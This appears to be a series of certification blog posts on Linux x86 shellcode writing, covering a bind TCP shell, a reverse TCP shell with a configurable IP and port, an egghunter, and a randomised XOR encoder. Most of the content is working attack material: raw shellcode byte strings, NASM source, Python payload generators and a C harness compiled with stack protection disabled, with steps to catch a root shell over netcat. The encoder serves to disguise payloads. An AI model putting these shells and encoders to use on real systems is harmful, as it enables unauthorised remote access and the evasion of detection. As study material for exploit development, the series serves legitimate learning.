This program searches all valid memory for the egg which is used in this case to locate where the key bytes are found in memory. Once the key bytes are found, the encoded shellcode is XOR’ed byte-by-byte and then execution jumps to that memory location, which executes the now-decoded execve-stack shellcode.

enc.hex (encoded shellcode):
These bytes are the encoded shellcode produced by the bencoder.nasm program.

key.hex (key bytes):
These bytes serve as the key to decode the encoded shellcode.

raw.hex (raw shellcode):
This is the execve-stack shellcode prior to encoding. Provided only as an example for examination, and not currently used by any program here.

Code explanation:

writefile: 
push ebp 
mov ebp, esp 
mov eax, 5              ; Syscall number for OPEN() 
mov ebx, edi            ; Get to the previous EDI which is 8 bytes away 
mov ecx, 0101o          ; Octal code for O_CREAT, O_WRONLY, O_EXCL flags 
mov edx, 0666o          ; Octal code to set permissions 
int 0x80                ; Execute the syscall 
test eax, eax           ; Check for negative value 
js short error          ; If syscall = negative value, jump to err label 
mov ebx, eax            ; Save the file descriptor into ebx 
mov eax, 0x4            ; Syscall number for WRITE() 
mov ecx, esi            ; Get to the previous ESI which is 12 bytes away 
mov edx, Rlen           ; Should refer to len of both Key and RawShellcode 
int 0x80                ; Execute the syscall 
test eax, eax           ; Check for negative value 
js short error 
mov eax, 0x76           ; Syscall number for FSYNC() 
int 0x80                ; ebx should still have the file descriptor 
test eax, eax 
js short error 
mov eax, 0x6            ; Syscall number for CLOSE() 
int 0x80                ; Close the open file descriptor in ebx 
mov esp, ebp 
pop ebp 
ret

The assembly in the writefile label specifies the correct flags to write each of the three files (raw.hex, enc.hex, key.hex) and perform an fsync() when finished.

error:
        mov eax, 0x4
        mov ebx, 0x1
        mov ecx, errmsg
        mov edx, errlen
        int 0x80
        mov eax, 0x1
        mov ebx, 0x1
        int 0x80                ; Indicate Abnormal exit

The error label simply contains code to report abnormal conditions and then exit.

_start:
        lea esi, [RawShellcode] ; ESI is a pointer to RawShellcode
        mov edi, rawfile
        call writefile
        lea ebx, [Key]          ; EBX is a pointer to the memory reserved for the key
        mov ecx, Rlen           ; ECX is counter for # of RawShellcode bytes
        jmp short step1

The _start section begins with writing out the original bytes to a file prior to any encoding for use in comparison with the encoded bytes and key bytes.

step1:
        rdrand edx              ; If random, carry flag should be set
        jc short step2          ; Random bytes, thus move on
        jmp short step1         ; Not random bytes, try again
step2:
        test dl, dl             ; Test DL to make sure RDRAND didn't select a null
        je short step1          ; Jumps back to step1 if the last byte is a null
        jmp short step3         ; Last byte isn't null, move to step 3

The beginning of the encoding process starts at the step1 label, where the rdrand instruction is executed.  The carry flag should be set if rdrand was successful in obtaining pseudorandom bytes.  A conditional jump ensures that we don’t leave this state without rdrand succeeding.  Step2 performs a test to ensure that the pseudorandom bytes don’t result in a null byte.  No further error checking is done, but there is likely room to improve this here.  Once a non-null byte is obtained, we move to step3:

step3:
        xor eax, eax
        mov al, dl              ; Move the now-valid key byte into AL for XOR oper.
        xor al, byte [esi]      ; AL now has the XOR'ed byte, need to check for zero.
        jz short step1
        mov byte [ebx], dl      ; Store first byte of key
        mov byte [esi], al      ; Replace raw byte with XOR'ed byte
        inc esi
        inc ebx
        loop step1              ; Repeat Step 1 - 3 for each byte
        mov edi, keyfile
        lea esi, [RawShellcode]
        call writefile
        mov edi, encfile
        lea esi, [Key]
        call writefile
        call cleanup

This step is where each shellcode byte is XOR’ed with a pseudorandom “key” byte obtained in step1.  An additional check is done at the start of this process to ensure the key byte does not equal the original shellcode byte (resulting in a zero during an XOR operation).  ECX was previously primed with the length of the shellcode bytes, so the loop operations self-terminate once all of the shellcode bytes have been XORed.   Every byte undergoes a new rdrand operation, so each key byte obtained is a new pseudorandom value.

section .data                   ; RawShellcode is our good friend, the execve-stack shellcode
        RawShellcode:   db 0x31,0xc0,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80
        Rlen            equ $-RawShellcode
        keyfile:        db 'key.hex', 0
        rawfile:        db 'raw.hex', 0
        encfile:        db 'enc.hex', 0
        errmsg:         db 'Syscall failed! Exiting...', 0xA, 0x0
        errlen          equ $-errmsg
section .bss
        Key:            resb Rlen  ; Key and Shellcode must be the same size as each byte is encoded
                                   ; with a new pseudorandom byte via rdrand.

The raw shellcode used in the example here is the familiar execve-stack shellcode.

A decoder stub was written using NASM as well and is available at the GitHub link for further study if needed.  The shellcode bytes from the decoder stub were used within the shconfig4.py program which combines both the encoder written for this assignment as well as an egghunter.  In this case, the egg value signifies the location of the key that is used to XOR the encoded shellcode bytes.

To output the skeleton C file, run the shconfig4.py program, specifying the egg value and the output format, in this case “c”.  This can of course be redirected to a file:

./shconfig4.py -e 1b2a -f c > shellcode.c

Examining the C source file shows us that thekey[] variable has the egg value prepended at index 0-7 for the egghunter to be able to find it.

#include<stdio.h>
#include<string.h>

unsigned char the_key[] = \
"\x2a\x1b\x2a\x1b\x2a\x1b\x2a\x1b\xc5\x48\x9b\x26\xa4\xda\xe7\xd4\x4b\x55\x36\x9a\x41\x68\x05\xda\x8a\x8a\x7b\x33\x85\x97\x8e\xd2\xc9";

unsigned char code[] = \
"\x31\xd2\x31\xc9\xfc\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x2a\x1b\x2a\x1b\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xeb\x15\x5e\x31\xc9\xb1\x19\x31\xdb\x31\xc0\x8d\x1f\x8a\x03\x30\x06\x46\x43\xe2\xf8\xeb\x05\xe8\xe6\xff\xff\xff\xf4\x88\xcb\x4e\x8b\xf5\x94\xbc\x23\x7a\x54\xf3\x2f\xe1\xe6\x8a\x03\x68\x28\xba\x64\x27\x85\x1f\x49";

main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Opening up a listener on TCP port 7777 using netcat, and then running ./shellcode results in the shellcode marked by the egg value being executed, giving us our execve-stack method of obtaining a shell!

1

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #3 – Working demo of Egghunter shellcode

Github link to files

The purpose of this assignment was to learn about “egghunters”, or shellcode that is written to search the memory space for an “egg” pattern.  This “egg” is used to locate the rest of the shellcode that has been staged for execution in that portion of memory.

I started my research for this assignment by reading the paper written by skape on the subject, which is probably one of the most referenced documents on the subject.  He explains three different methods for Linux, two of which use the access() syscall, and the third which uses the sigaction() syscall.  In my working demo, I use one of the access() syscall methods, but added an instruction to ensure the direction flag is cleared at the beginning to ensure expected behavior with the scasd instruction.

I modified my Python program to take an argument for the egg value, and when it completes it outputs the entire skeleton C program to compile and run as a working demonstration of the egghunter.  The egg value is stored in a payload[] variable with the shellcode immediately following.  The egghunter shellcode is stored in the code[] variable as seen below:

1

In the example used here, the payload creates a reverse shell to port 7777 where the attacker machine is listening for connections:

2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #2 – shell_reverse_tcp shellcode w/ customized IP/port

Files available on Github:

  1. assignment2.nasm
  2. compile.sh
  3. shconfig2.py
  4. shellcode.c

In this assignment, creating a reverse tcp shellcode with the ability to customize the port and IP address was the objective, so I approached this challenge similarly to the last assignment.

First was the creation of the base shellcode itself, which the commented source can be seen in assignment2.nasm.  Once this was compiled using NASM with the compile.sh script, the opcodes were extracted using the handy shortcut found at commandlinefu.

The raw shellcode was then split into three parts so that the customized values of IP and port could be grafted into it and then rejoined into the final shellcode:

begin = r"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x31\xff\x97\x6a\x66\x58\x6a\x02\x5b\x31" \
        r"\xc9\x51\x66\x68\x1b\x61\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x03\x68"

port = r'\x66\x68'

end = r"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x57\x5b\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" \
      r"\x0b\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

From there, I modified my python program arguments to support a customized IP in addition to the customized port of the last assignment. To do this, I utilized the argparse library:

parser = argparse.ArgumentParser()
parser.add_argument('-p', action="store", dest="p", type=int)
parser.add_argument('-i', action="store", dest="i")
args = parser.parse_args()

Converting the port number to hexadecimal, putting it in little-endian order, and ensuring it was in the valid range of ports was the next step:

if 1024 < args.p < 65536:
        unformatted_port = r''.join(hex(b)[2:4] for b in pack('!i', args.p))
        delim = r'\x'
        port += delim + unformatted_port[2:4] + delim + unformatted_port[4:8]

else:
        print('Port must be between 1025 and 65535.  Exiting.')
        exit(0)

Next, the same logic was applied to getting the hexadecimal representation of the IP address entered.  The validation logic I used was somewhat limited to save time, simply limiting the values entered to between 1 and 255, which excludes some valid addresses and includes some invalid ones as well.

dot1_pos = args.i.find('.')
dot2_pos = args.i.find('.', dot1_pos + 1)
dot3_pos = args.i.find('.', dot2_pos + 1)
octets = []

octets.append(int(args.i[0:dot1_pos]))
octets.append(int(args.i[dot1_pos + 1:dot2_pos]))
octets.append(int(args.i[dot2_pos + 1:dot3_pos]))
octets.append(int(args.i[dot3_pos + 1:len(args.i)]))
ip = r''
for octet in octets:
    if 1 <= octet <= 255:
        ip += r'\x'
        ip += '{0:02x}'.format(octet)
    else:
        print("Valid octets are between 1 and 255.  Try again.")
        exit(0)

Finally, the shellcode values are joined together in a final string that is printed to the screen:

shellcode = begin + ip + port + end
print("Shellcode :  " + "\"" + shellcode + "\";")

Running the program with some example values produces the shellcode that we will place into our skeleton C program:

1

After starting a netcat listener on the example port used (in this case 31337), we compile and execute our skeleton C program, which connects to the listening machine on the attacker where a shell is now available.

2.png

Root shell FTW.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #1 – Shell_Bind_TCP Shellcode

Files available on GitHub

  1. Assignment1.nasm
  2. compile.sh
  3. shconfig.py
  4. shellcode.c

In this assignment, I created a socketcall() in assembly and redirected STDIN, STDOUT, and STDERR to it.  Using some cut and trim magic learned via commandlinefu, the opcodes were pasted into the shconfig.py program, which the user executes with an argument to specify the port used.  That output is put into the shellcode.c skeleton program which is compiled without stack protection and allowing stack execution.

Here’s the trim command to extract the opcodes:

objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Step 1:  Compile assignment1.nasm

Step 2:  Extract the opcodes

Run shconfig.py -p <port number of choice>

./shconfig.py -p 1337
Shellcode : "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1
\xcd\x80\x31\xff\x97\x6a\x66\x58\x6a\x02\x5b\x31\xc9\x51\x66\x68\x53\x9
\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x31\xc9
\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x57\x89\xe1\xcd
\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xc9\x51
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

Insert that output into code[] variable of the skeleton C program.

Compile with:

gcc -fno-stack-protector -z execstack shellcode.c 
-o shellcode

Run, and connect from another terminal with netcat on the port you specified using shconfig.py and you’re in!

image1

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860